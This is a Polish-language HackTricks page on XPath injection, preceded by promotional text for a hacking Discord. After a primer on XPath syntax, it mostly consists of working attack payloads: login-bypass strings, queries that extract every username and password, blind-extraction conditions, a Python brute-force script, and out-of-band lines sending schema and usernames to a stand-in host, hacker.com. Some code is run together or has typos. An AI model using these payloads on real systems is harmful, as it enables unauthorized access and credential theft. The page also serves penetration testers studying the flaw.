Podziel się sztuczkami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Wgląd w hacking
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
Aktualności o hackingu w czasie rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
Najnowsze ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
Dołącz do nas naDiscordzie i zacznij współpracować z najlepszymi hackerami już dziś!
Podstawowa składnia
Technika ataku znana jako XPath Injection jest wykorzystywana do wykorzystania aplikacji, które tworzą zapytania XPath (XML Path Language) na podstawie danych wejściowych użytkownika, aby zapytać lub nawigować po dokumentach XML.
Opis węzłów
Wyrażenia są używane do wybierania różnych węzłów w dokumencie XML. Te wyrażenia i ich opisy są podsumowane poniżej:
nodename: Wybierane są wszystkie węzły o nazwie "nodename".
/: Wybór dokonywany jest z węzła głównego.
//: Wybierane są węzły pasujące do wyboru z bieżącego węzła, niezależnie od ich lokalizacji w dokumencie.
.: Wybierany jest bieżący węzeł.
..: Wybierany jest rodzic bieżącego węzła.
@: Wybierane są atrybuty.
Przykłady XPath
Przykłady wyrażeń ścieżkowych i ich wyniki obejmują:
bookstore: Wybierane są wszystkie węzły o nazwie "bookstore".
/bookstore: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/).
bookstore/book: Wybierane są wszystkie elementy książek, które są dziećmi bookstore.
//book: Wybierane są wszystkie elementy książek w dokumencie, niezależnie od ich lokalizacji.
bookstore//book: Wybierane są wszystkie elementy książek, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.
//@lang: Wybierane są wszystkie atrybuty o nazwie lang.
Wykorzystanie predykatów
Predykaty są używane do precyzowania wyborów:
/bookstore/book[1]: Wybierany jest pierwszy element książki będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako [0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.
/bookstore/book[last()]: Wybierany jest ostatni element książki będący dzieckiem elementu bookstore.
/bookstore/book[last()-1]: Wybierany jest przedostatni element książki będący dzieckiem elementu bookstore.
/bookstore/book[position()<3]: Wybierane są dwa pierwsze elementy książek będące dziećmi elementu bookstore.
//title[@lang]: Wybierane są wszystkie elementy tytułu z atrybutem lang.
//title[@lang='en']: Wybierane są wszystkie elementy tytułu z wartością atrybutu "lang" równą "en".
/bookstore/book[price>35.00]: Wybierane są wszystkie elementy książek w bookstore z ceną większą niż 35.00.
/bookstore/book[price>35.00]/title: Wybierane są wszystkie elementy tytułu elementów książek w bookstore z ceną większą niż 35.00.
Obsługa nieznanych węzłów
Znaki wieloznaczne są używane do dopasowywania nieznanych węzłów:
*: Pasuje do dowolnego węzła elementu.
@*: Pasuje do dowolnego węzła atrybutu.
node(): Pasuje do dowolnego węzła dowolnego rodzaju.
Dalsze przykłady obejmują:
/bookstore/*: Wybiera wszystkie węzły elementów dzieci elementu bookstore.
//*: Wybiera wszystkie elementy w dokumencie.
//title[@*]: Wybiera wszystkie elementy tytułu z co najmniej jednym atrybutem dowolnego rodzaju.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identyfikacja i kradzież schematu
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Ominięcie uwierzytelniania
Przykład zapytań:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR obejście w użytkowniku i haśle (ta sama wartość w obu)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Wykorzystywanie wstrzyknięcia null
Username: ' or 1]%00
Podwójne OR w nazwie użytkownika lub haśle (jest ważne tylko z 1 podatnym polem)
WAŻNE: Zauważ, że "i" jest pierwszą operacją wykonaną.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Ekstrakcja ciągów
Wynik zawiera ciągi, a użytkownik może manipulować wartościami, aby wyszukiwać:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Uzyskaj długość wartości i wyodrębnij ją przez porównania:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Przykład Pythona
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to